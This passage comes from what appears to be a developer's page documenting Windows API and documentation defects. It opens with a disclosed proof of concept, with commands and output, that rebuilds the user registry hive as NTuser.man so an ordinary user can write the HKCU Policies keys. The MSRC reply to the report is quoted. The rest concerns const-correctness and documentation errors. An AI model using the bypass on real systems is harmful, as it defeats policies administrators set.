					PrintConsole(hError,
					             L"ORSaveHive() returned error %lu\n",
					             dwError);
				dwError = ORCloseHive(orHKey);
				if (dwError != ERROR_SUCCESS)
					PrintConsole(hError,
					             L"ORCloseHive() returned error %lu\n",
					             dwError);
			}
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.lib offreg.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib offreg.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code, then move its output file
            blunder.man to %USERPROFILE%\NTuser.man
            and logoff:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL% MOVE blunder.man "%USERPROFILE%\NTuser.man"
OFFREG.dll version 1.0 RegOpenKeyEx() returned error 5 for registry key 'HKEY_CURRENT_USER\Software\Microsoft\Protected Storage System Provider\S-1-5-21-820728443-44925810-1835867902-1000' ORSetKeySecurity() returned error 1299 for registry key 'HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\ProtectedRoots' 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
 Logon again, then start the
            Command Processor and run the following
            command lines to prove that the registry keys
            [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies]
            and [HKEY_CURRENT_USER\Software\Policies] can now be
            written by the unprivileged user:
        
REG.EXE ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /VE REG.EXE ADD HKEY_CURRENT_USER\Software\Policies /VE
The operation completed successfully. The operation completed successfully.
%USERPROFILE%\NTuser.man for the
            %USERPROFILE%\NTuser.dat registry hive:
        MKLINK /H "%USERPROFILE%\NTuser.man" "%USERPROFILE%\NTuser.dat"
Hardlink created for C:\Users\Stefan\NTuser.man <<===>> C:\Users\Stefan\NTuser.dat
%USERPROFILE%\ and to write its
            DACL
            for the user:
        ICACLs.exe "%USERPROFILE%" /DENY "%USERNAME%":(AD,WDAC) /Q
Successfully processed 1 files; Failed processing 0 files
%USERPROFILE%\NTuser.dat and to write its
            DACL
            for the owner alias user:
        ICACLs.exe "%USERPROFILE%\NTuser.dat" /DENY *S-1-3-4:(WDAC,WEA) /Q
Successfully processed 1 files; Failed processing 0 files
They replied with the following statements:
You reported that a user can bypass policies set within the HKCU registry hive.OUCH: the highlighted statements are a blatant lie – the file
However, the ability of a user to write to the HKCU hive does not constitute a violation of a security boundary, as the entire hive is owned by the local user, allowing them to write to it without restriction.
The HKCU hive is located in %userprofile%/ntuser.dat. Although the HKEY_CURRENT_USER\Software\Policies key is access-control-listed to restrict write access to highly privileged users, the user can easily bypass this restriction since they own the hive.
After careful investigation, this case has been assessed as not a vulnerability and does not meet MSRC’s bar for immediate servicing.
%USERPROFILE%\NTuser.dat is opened in
            exclusive mode while the user is logged on, so the
            user can neither read or write nor delete or rename it!
        AdjustTokenPrivileges(),
            CheckTokenMembership(),
            CompareFileTime(),
            ConvertSecurityDescriptorToStringSecurityDescriptor(),
            ConvertSidToStringSid(),
            ConvertStringSecurityDescriptorToSecurityDescriptor(),
            ConvertStringSidToSid(),
            CreateDirectory(),
            CreateEnvironmentBlock(),
            CreateFile(),
            CreateProcess(),
            DestroyEnvironmentBlock(),
            FreeEnvironmentStrings(),
            GetUserObjectSecurity(),
            IsValidAcl(),
            IsValidSecurityDescriptor(),
            IsValidSid(),
            LocalFree(),
            RegisterClass(),
            RegisterClassEx(),
            SetSecurityInfo()
            and
            SetUserObjectSecurity()
            (just to pick a few examples, in alphabetical order) as follows:
        BOOL AdjustTokenPrivileges( [in] HANDLE TokenHandle, [in] BOOL DisableAllPrivileges, [in, optional] PTOKEN_PRIVILEGES NewState, [in] DWORD BufferLength, [out, optional] PTOKEN_PRIVILEGES PreviousState, [out, optional] PDWORD ReturnLength );
BOOL CheckTokenMembership( [in, optional] HANDLE TokenHandle, [in] PSID SidToCheck, [out] PBOOL IsMember );
LONG CompareFileTime( [in] const FILETIME *lpFileTime1, [in] const FILETIME *lpFileTime2 );
BOOL ConvertSecurityDescriptorToStringSecurityDescriptor( [in] PSECURITY_DESCRIPTOR SecurityDescriptor, [in] DWORD RequestedStringSDRevision, [in] SECURITY_INFORMATION SecurityInformation, [out] LPTSTR *StringSecurityDescriptor, [out] PULONG StringSecurityDescriptorLen );
BOOL ConvertSidToStringSid( [in] PSID Sid, [out] LPTSTR *StringSid );
BOOL ConvertStringSecurityDescriptorToSecurityDescriptor( [in] LPCTSTR StringSecurityDescriptor, [in] DWORD StringSDRevision, [out] PSECURITY_DESCRIPTOR *SecurityDescriptor, [out] PULONG SecurityDescriptorSize );
BOOL ConvertStringSidToSid( [in] LPCTSTR StringSid, [out] PSID *Sid );
BOOL CreateDirectory( [in] LPCTSTR lpPathName, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes );
BOOL CreateEnvironmentBlock( [out] LPVOID *lpEnvironment, [in, optional] HANDLE hToken, [in] BOOL bInherit );
HANDLE CreateFile( [in] LPCTSTR lpFileName, [in] DWORD dwDesiredAccess, [in] DWORD dwShareMode, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes, [in] DWORD dwCreationDisposition, [in] DWORD dwFlagsAndAttributes, [in, optional] HANDLE hTemplateFile );
BOOL CreateProcess( [in, optional] LPCTSTR lpApplicationName, [in, out, optional] LPTSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCTSTR lpCurrentDirectory, [in] LPSTARTUPINFO lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation );
BOOL DestroyEnvironmentBlock( [in] LPVOID lpEnvironment );
BOOL FreeEnvironmentStrings( [in] LPTCH penv );
BOOL GetUserObjectSecurity( [in] HANDLE hObj, [in] PSECURITY_INFORMATION pSIRequested, [in, out, optional] PSECURITY_DESCRIPTOR pSID, [in] DWORD nLength, [out] LPDWORD lpnLengthNeeded );
BOOL IsValidAcl( [in] PACL pAcl );
BOOL IsValidSecurityDescriptor( [in] PSECURITY_DESCRIPTOR pSecurityDescriptor );
BOOL IsValidSid( [in] PSID pSid );
HLOCAL LocalFree( [in] HLOCAL hMem );
ATOM RegisterClass( [in] const WNDCLASS *lpWndClass );
ATOM RegisterClassEx( [in] const WNDCLASSEX *unnamedParam1 );
DWORD SetSecurityInfo( [in] HANDLE handle, [in] SE_OBJECT_TYPE ObjectType, [in] SECURITY_INFORMATION SecurityInfo, [in, optional] PSID psidOwner, [in, optional] PSID psidGroup, [in, optional] PACL pDacl, [in, optional] PACL pSacl );
OUCH: except for the properly declared prototypes of the Win32 functionsBOOL SetUserObjectSecurity( [in] HANDLE hObj, [in] PSECURITY_INFORMATION pSIRequested, [in] PSECURITY_DESCRIPTOR pSID );
CompareFileTime(),
            RegisterClass()
            and
            RegisterClassEx()
            shown above, they all fail to specify their
            read-only input parameters as const or
            const *, due to which the Visual C
            compiler issues the superfluous warning
            C4090
            for arguments of type pointer to constant!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
#include <shellapi.h>
#include <sddl.h>
#include <aclapi.h>
#define SE_CHANGE_NOTIFY_PRIVILEGE	23UL	// "SeChangeNotifyPrivilege"
const	TOKEN_PRIVILEGES	tp = {ANYSIZE_ARRAY, {SE_CHANGE_NOTIFY_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
const	SID	group = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID},
		owner = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID};
typedef	struct	_ace
{
	ACE_HEADER	Header;
	ACCESS_MASK	Mask;
	SID		Trustee;
} ACE;
const	struct	_acl
{
	ACL	acl;
	ACE	ace;
} dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
	// (A;NP;FA;;;AU)
          {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
           FILE_ALL_ACCESS,
           {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}},
  sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
	// (ML;NP;NRNWNX;;;ME)
          {{SYSTEM_MANDATORY_LABEL_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
           SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
           {SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}};
const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
				      0,
				      SE_DACL_PRESENT | SE_DACL_PROTECTED | SE_SACL_PRESENT | SE_SACL_PROTECTED,
				      &owner,
				      &group,
				      &sacl,
				      &dacl};
const	SECURITY_ATTRIBUTES	sa = {sizeof(sa), &sd, FALSE};
const	SECURITY_INFORMATION	si = DACL_SECURITY_INFORMATION
				   | GROUP_SECURITY_INFORMATION
				   | LABEL_SECURITY_INFORMATION
				   | OWNER_SECURITY_INFORMATION
				   | SACL_SECURITY_INFORMATION;
const	STARTUPINFO		st = {sizeof(st)};
const	WNDCLASS		wc = {0};
const	WNDCLASSEX		wce = {sizeof(wce)};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	SECURITY_DESCRIPTOR	const	*lpSD;
	SID			const	*lpSID;
	PROCESS_INFORMATION	pi;
	FILETIME	ft = {0UL, 0UL};
	INT	nArguments;
	BOOL	b;
	WCHAR	sz[] = L".";
	DWORD	dwSD;
	HANDLE	h;
	LPCWSTR	lpBlock;
	LPCWSTR	lpStrings = GetEnvironmentStrings();
	LPCWSTR	lpCmdLine = GetCommandLine();
	LPCWSTR	*lpArguments = CommandLineToArgvW(lpCmdLine, &nArguments);
	if (lpArguments != NULL)
		LocalFree(lpArguments);
	if (lpStrings != NULL)
		FreeEnvironmentStrings(lpStrings);
	AdjustTokenPrivileges(INVALID_HANDLE_VALUE,
	                      FALSE,
	                      &tp,
	                      sizeof(tp),
	                      (TOKEN_PRIVILEGES *) NULL,
	                      (LPDWORD) NULL);
	CheckTokenMembership(NULL,
	                     &owner,
	                     &b);
	CompareFileTime(&ft, &ft);	// no warning C4090 here!
	if (ConvertSecurityDescriptorToStringSecurityDescriptor(&sd,
	                                                        SDDL_REVISION_1,
	                                                        si,
	                                                        &lpStrings,
	                                                        (LPDWORD) NULL))
		LocalFree(lpStrings);
	if (ConvertSidToStringSid(&owner,
	                          &lpStrings))
		LocalFree(lpStrings);
	if (ConvertStringSidToSid(sz,	// no warning C4090 here!
	                          &lpSID))
		LocalFree(lpSID);
	if (ConvertStringSecurityDescriptorToSecurityDescriptor(sz,
	                                                        SDDL_REVISION_1,
	                                                        &lpSD,
	                                                        &dwSD))
		LocalFree(lpSD);
	if (CreateDirectory(sz,		// no warning C4090 here!
	                    &sa))
		RemoveDirectory(sz);
	if (CreateEnvironmentBlock(&lpBlock,
	                           (HANDLE) NULL,
	                           FALSE))
		DestroyEnvironmentBlock(lpBlock);
	h = CreateFile(sz,		// no warning C4090 here!
	               MAXIMUM_ALLOWED,
	               FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
	               &sa,
	               OPEN_EXISTING,
	               FILE_FLAG_BACKUP_SEMANTICS,
	               (HANDLE) NULL);
	if (h != INVALID_HANDLE_VALUE)
		CloseHandle(h);
	CreateProcess((LPCWSTR) NULL,
	              (LPWSTR) NULL,
	              &sa,
	              &sa,
	              FALSE,
	              CREATE_UNICODE_ENVIRONMENT,
	              lpStrings,
	              sz,		// no warning C4090 here!
	              &st,
	              &pi);
	GetUserObjectSecurity(INVALID_HANDLE_VALUE,
	                      &si,
	                      (SECURITY_DESCRIPTOR *) NULL,
	                      0,
	                      &dwSD);
	IsValidAcl(&dacl);
	IsValidAcl(&sacl);
	IsValidSecurityDescriptor(&sd);
	IsValidSid(&owner);
	IsValidSid(&group);
	if (RegisterClass(&wc) != 0U)	// no warning C4090 here!
		UnregisterClass(wc.lpszClassName,
		                wc.hInstance);
	if (RegisterClassEx(&wce) != 0U)// no warning C4090 here!
		UnregisterClass(wce.lpszClassName,
		                wce.hInstance);
	SetSecurityInfo(INVALID_HANDLE_VALUE,
	                SE_FILE_OBJECT,
	                si,
	                &owner,
	                &group,
	                &dacl,
	                &sacl);
	SetUserObjectSecurity(INVALID_HANDLE_VALUE,
	                      &si,
	                      &sd);
	ExitProcess(nArguments);
}const *
            – their targets are not (to be) written here!
         Run a syntax check on the source file blunder.c created
            in step 1.:
        
CL.EXE /Zs blunder.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation.  All rights reserved.
blunder.c
blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers
blunder.c(46) : warning C4090: 'initializing' : different 'const' qualifiers
blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers
blunder.c(48) : warning C4090: 'initializing' : different 'const' qualifiers
blunder.c(50) : warning C4090: 'initializing' : different 'const' qualifiers
blunder.c(85) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(88) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(92) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(98) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(103) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(106) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(108) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(110) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(111) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(112) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(115) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(116) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(120) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(122) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(125) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(128) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(131) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(136) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(146) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(147) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(150) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(152) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(156) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(160) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(161) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(162) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(163) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(164) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(177) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(178) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(179) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(180) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(183) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(184) : warning C4090: 'function' : different 'const' qualifiers
            OOPS: Was für Plunder!
         Run a syntax check on the source file blunder.c created
            in step 1. a second time, now as C++ source:
        
CL.EXE /TP /Zs blunder.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation.  All rights reserved.
blunder.c
blunder.c(45) : error C2440: 'initializing' : cannot convert from 'const SID *' to 'PSID'
        Conversion loses qualifiers
blunder.c(46) : error C2440: 'initializing' : cannot convert from 'const SID *' to 'PSID'
        Conversion loses qualifiers
blunder.c(47) : error C2440: 'initializing' : cannot convert from 'const _acl *' to 'PACL'
        Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
blunder.c(48) : error C2440: 'initializing' : cannot convert from 'const _acl *' to 'PACL'
        Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
blunder.c(50) : error C2440: 'initializing' : cannot convert from 'const SECURITY_DESCRIPTOR *' to 'LPVOID'
        Conversion loses qualifiers
blunder.c(82) : error C2440: 'initializing' : cannot convert from 'LPWSTR *' to 'LPCWSTR *'
        Conversion loses qualifiers
blunder.c(88) : error C2664: 'FreeEnvironmentStringsW' : cannot convert parameter 1 from 'LPCWSTR' to 'LPWCH'
        Conversion loses qualifiers
blunder.c(95) : error C2664: 'AdjustTokenPrivileges' : cannot convert parameter 3 from 'const TOKEN_PRIVILEGES *' to 'PTOKEN_PRIVILEGES'
        Conversion loses qualifiers
blunder.c(99) : error C2664: 'CheckTokenMembership' : cannot convert parameter 2 from 'const SID *' to 'PSID'
        Conversion loses qualifiers
blunder.c(107) : error C2664: 'ConvertSecurityDescriptorToStringSecurityDescriptorW' : cannot convert parameter 1 from 'const SECURITY_DESCRIPTOR *' to 'PSECURITY_DESCRIPTOR'
        Conversion loses qualifiers
blunder.c(108) : error C2664: 'LocalFree' : cannot convert parameter 1 from 'LPCWSTR' to 'HLOCAL'
        Conversion loses qualifiers
blunder.c(111) : error C2664: 'ConvertSidToStringSidW' : cannot convert parameter 1 from 'const SID *' to 'PSID'
        Conversion loses qualifiers
blunder.c(112) : error C2664: 'LocalFree' : cannot convert parameter 1 from 'LPCWSTR' to 'HLOCAL'
        Conversion loses qualifiers
blunder.c(115) : error C2664: 'ConvertStringSidToSidW' : cannot convert parameter 2 from 'const SID **' to 'PSID *'
        Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
blunder.c(116) : error C2664: 'LocalFree' : cannot convert parameter 1 from 'const SID *' to 'HLOCAL'
        Conversion loses qualifiers
blunder.c(121) : error C2664: 'ConvertStringSecurityDescriptorToSecurityDescriptorW' : cannot convert parameter 3 from 'const SECURITY_DESCRIPTOR **' to 'PSECURITY_DESCRIPTOR *'
        Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
blunder.c(122) : error C2664: 'LocalFree' : cannot convert parameter 1 from 'const SECURITY_DESCRIPTOR *' to 'HLOCAL'
        Conversion loses qualifiers
blunder.c(125) : error C2664: 'CreateDirectoryW' : cannot convert parameter 2 from 'const SECURITY_ATTRIBUTES *' to 'LPSECURITY_ATTRIBUTES'
        Conversion loses qualifiers
blunder.c(130) : error C2664: 'CreateEnvironmentBlock' : cannot convert parameter 1 from 'LPCWSTR *' to 'LPVOID *'
        Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
blunder.c(131) : error C2664: 'DestroyEnvironmentBlock' : cannot convert parameter 1 from 'LPCWSTR' to 'LPVOID'
        Conversion loses qualifiers
blunder.c(139) : error C2664: 'CreateFileW' : cannot convert parameter 4 from 'const SECURITY_ATTRIBUTES *' to 'LPSECURITY_ATTRIBUTES'
        Conversion loses qualifiers
blunder.c(153) : error C2664: 'CreateProcessW' : cannot convert parameter 3 from 'const SECURITY_ATTRIBUTES *' to 'LPSECURITY_ATTRIBUTES'
        Conversion loses qualifiers
blunder.c(159) : error C2664: 'GetUserObjectSecurity' : cannot convert parameter 2 from 'const SECURITY_INFORMATION *' to 'PSECURITY_INFORMATION'
        Conversion loses qualifiers
blunder.c(160) : error C2664: 'IsValidAcl' : cannot convert parameter 1 from 'const _acl *' to 'PACL'
        Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
blunder.c(161) : error C2664: 'IsValidAcl' : cannot convert parameter 1 from 'const _acl *' to 'PACL'
        Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
blunder.c(162) : error C2664: 'IsValidSecurityDescriptor' : cannot convert parameter 1 from 'const SECURITY_DESCRIPTOR *' to 'PSECURITY_DESCRIPTOR'
        Conversion loses qualifiers
blunder.c(163) : error C2664: 'IsValidSid' : cannot convert parameter 1 from 'const SID *' to 'PSID'
        Conversion loses qualifiers
blunder.c(164) : error C2664: 'IsValidSid' : cannot convert parameter 1 from 'const SID *' to 'PSID'
        Conversion loses qualifiers
blunder.c(180) : error C2664: 'SetSecurityInfo' : cannot convert parameter 4 from 'const SID *' to 'PSID'
        Conversion loses qualifiers
blunder.c(184) : error C2664: 'SetUserObjectSecurity' : cannot convert parameter 2 from 'const SECURITY_INFORMATION *' to 'PSECURITY_INFORMATION'
        Conversion loses qualifiers
            OUCH: Was für Plunder!
        CertRDNValueToStr(),
            GetFinalPathNameByHandle(),
            GetVolumePathNamesForVolumeNameW()
            and
            QueryDosDeviceW()
            (just to pick some examples) as well as that for the window message
            LVM_GETISEARCHSTRING
            (just to pick another example) exhibit an unfortunately
            very common Size, in characters, allocated for the returned string. The size must include the terminating NULL character.[…]
Returns the number of characters converted, including the terminating NULL character. If psz is NULL or csz is zero, returns the required size of the destination string.
Retrieves the final path for the specified file.[…] This value must include a NULL termination character.
The list is a array of null-terminated strings terminated by an additional NULL character. […][…] including all NULL characters.
This parameter can be NULL. […]The function fills this buffer with one or more null-terminated strings. The final null-terminated string is followed by an additional NULL.
Supplies the maximum number of bytes that are allowed in the buffer that psz points to, including the terminating NULL character.
StrChrNIW searches for wMatch from pszStart to pszStart + cchMax, or until a NULL character is encountered.
StrChrNW searches for wMatch from pszStart to pszStart + cchMax, or until a NULL character is encountered.
Searches a string for the first occurrence of any of a group of characters. The search method is case-sensitive, and the terminating NULL character is included within the search pattern match.
Searches a string for the first occurrence of any of a group of characters. The search method is not case-sensitive, and the terminating NULL character is included within the search pattern match.
Returns the number of characters in the incremental search string, not including the terminating NULL character, or zero if the list-view control is not in incremental search mode.[…]
Make sure that the buffer is large enough to hold the string and the terminating NULL character.
Specifies the length, in bytes, of the string pointed to by the Buffer member, not including the terminating NULL character, if any.
Specifies the length, in bytes, of the string pointed to by the Buffer member, not including the terminating NULL character, if any.
            These routines operate on null-terminated single-byte character,
            wide-character, and multibyte-character strings. Use the
            buffer-manipulation routines, described in
            Buffer manipulation,
            to work with character arrays that don't end with a
            NULL character.
        
            OUCH: there is neither a NULL characternor a
NULL termination character–
NULL
            is a preprocessor macro defined as ((void *) 0), the
            highlighted text parts of the documentations cited above should be
            replaced with null character,
NUL'\0'L'\0'winbase.h shipped with the
            FILE_RENAME_INFO structure for the
            Win32 function
            SetFileInformationByHandle()
            as follows:
        The documentation for thetypedef struct _FILE_RENAME_INFO { BOOLEAN ReplaceIfExists; HANDLE RootDirectory; DWORD FileNameLength; WCHAR FileName[1]; } FILE_RENAME_INFO, *PFILE_RENAME_INFO;
FILE_RENAME_INFO
            structure but typedef struct _FILE_RENAME_INFO { union { BOOLEAN ReplaceIfExists; DWORD Flags; } DUMMYUNIONNAME; BOOLEAN ReplaceIfExists; HANDLE RootDirectory; DWORD FileNameLength; WCHAR FileName[1]; } FILE_RENAME_INFO, *PFILE_RENAME_INFO;
The Windows API defines a set of string constants, such as SE_ASSIGNPRIMARYTOKEN_NAME, to identify the various privileges. These constants are the same on all systems and are defined in Winnt.h. For a table of the privileges defined by Windows, see Privilege Constants. However, the functions that get and adjust the privileges in an access token use the LUID type to identify privileges. The LUID values for a privilege can differ from one computer to another, and from one boot to another on the same computer.The header file
wdm.h shipped with the
            Driver Development Kit and the
            Windows Driver Kit defines but the following numerical
            constants:
        OUCH: contrary to the highlighted statement of the documentation cited above, these constants neither change from boot to boot nor differ from computer to computer!// // These must be converted to LUIDs before use. // #define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) #define SE_CREATE_TOKEN_PRIVILEGE (2L) #define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) #define SE_LOCK_MEMORY_PRIVILEGE (4L) #define SE_INCREASE_QUOTA_PRIVILEGE (5L) #define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) #define SE_TCB_PRIVILEGE (7L) #define SE_SECURITY_PRIVILEGE (8L) #define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) #define SE_LOAD_DRIVER_PRIVILEGE (10L) #define SE_SYSTEM_PROFILE_PRIVILEGE (11L) #define SE_SYSTEMTIME_PRIVILEGE (12L) #define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) #define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) #define SE_CREATE_PAGEFILE_PRIVILEGE (15L) #define SE_CREATE_PERMANENT_PRIVILEGE (16L) #define SE_BACKUP_PRIVILEGE (17L) #define SE_RESTORE_PRIVILEGE (18L) #define SE_SHUTDOWN_PRIVILEGE (19L) #define SE_DEBUG_PRIVILEGE (20L) #define SE_AUDIT_PRIVILEGE (21L) #define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) #define SE_CHANGE_NOTIFY_PRIVILEGE (23L) #define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) #define SE_UNDOCK_PRIVILEGE (25L) #define SE_SYNC_AGENT_PRIVILEGE (26L) #define SE_ENABLE_DELEGATION_PRIVILEGE (27L) #define SE_MANAGE_VOLUME_PRIVILEGE (28L) #define SE_IMPERSONATE_PRIVILEGE (29L) #define SE_CREATE_GLOBAL_PRIVILEGE (30L) #define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) #define SE_RELABEL_PRIVILEGE (32L) #define SE_INC_WORKING_SET_PRIVILEGE (33L) #define SE_TIME_ZONE_PRIVILEGE (34L) #define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) #define SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE (36L) #define SE_MAX_WELL_KNOWN_PRIVILEGE (SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE)
 OOPS¹: the numerical constants are
            unsigned – they should of
            course be defined as ‹number›UL, matching
            the type of the LowPart member of the
            LUID
            structure!
        
OOPS²: the parentheses around the numerical constants are superfluous!
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const	LPCWSTR	szName[] = {NULL,
		            NULL,
		            SE_CREATE_TOKEN_NAME,			// 2
		            SE_ASSIGNPRIMARYTOKEN_NAME,			// 3
		            SE_LOCK_MEMORY_NAME,			// 4
		            SE_INCREASE_QUOTA_NAME,			// 5
		            SE_MACHINE_ACCOUNT_NAME,			// 6
		            SE_TCB_NAME,				// 7
		            SE_SECURITY_NAME,				// 8
		            SE_TAKE_OWNERSHIP_NAME,			// 9
		            SE_LOAD_DRIVER_NAME,			// 10
		            SE_SYSTEM_PROFILE_NAME,			// 11
		            SE_SYSTEMTIME_NAME,				// 12
		            SE_PROF_SINGLE_PROCESS_NAME,		// 13
		            SE_INC_BASE_PRIORITY_NAME,			// 14
		            SE_CREATE_PAGEFILE_NAME,			// 15
		            SE_CREATE_PERMANENT_NAME,			// 16
		            SE_BACKUP_NAME,				// 17
		            SE_RESTORE_NAME,				// 18
		            SE_SHUTDOWN_NAME,				// 19
		            SE_DEBUG_NAME,				// 20
		            SE_AUDIT_NAME,				// 21
		            SE_SYSTEM_ENVIRONMENT_NAME,			// 22
		            SE_CHANGE_NOTIFY_NAME,			// 23
		            SE_REMOTE_SHUTDOWN_NAME,			// 24
		            SE_UNDOCK_NAME,				// 25
		            SE_SYNC_AGENT_NAME,				// 26
		            SE_ENABLE_DELEGATION_NAME,			// 27
		            SE_MANAGE_VOLUME_NAME,			// 28
		            SE_IMPERSONATE_NAME,			// 29
		            SE_CREATE_GLOBAL_NAME,			// 30
		            SE_TRUSTED_CREDMAN_ACCESS_NAME,		// 31
		            SE_RELABEL_NAME,				// 32
		            SE_INC_WORKING_SET_NAME,			// 33
		            SE_TIME_ZONE_NAME,				// 34
		            SE_CREATE_SYMBOLIC_LINK_NAME,		// 35
		            SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME};	// 36
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	LUID	luid;
	DWORD	dwError = ERROR_SUCCESS;
	DWORD	dwName = 2UL;
	do
		if (!LookupPrivilegeValue((LPCWSTR) NULL, szName[dwName], &luid))
			dwError = GetLastError();
		else
			if ((luid.LowPart != dwName) || (luid.HighPart != 0L))
				break;
	while (++dwName < sizeof(szName) / sizeof(*szName));
	ExitProcess(dwName == sizeof(szName) / sizeof(*szName) ? dwError : ~0UL);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
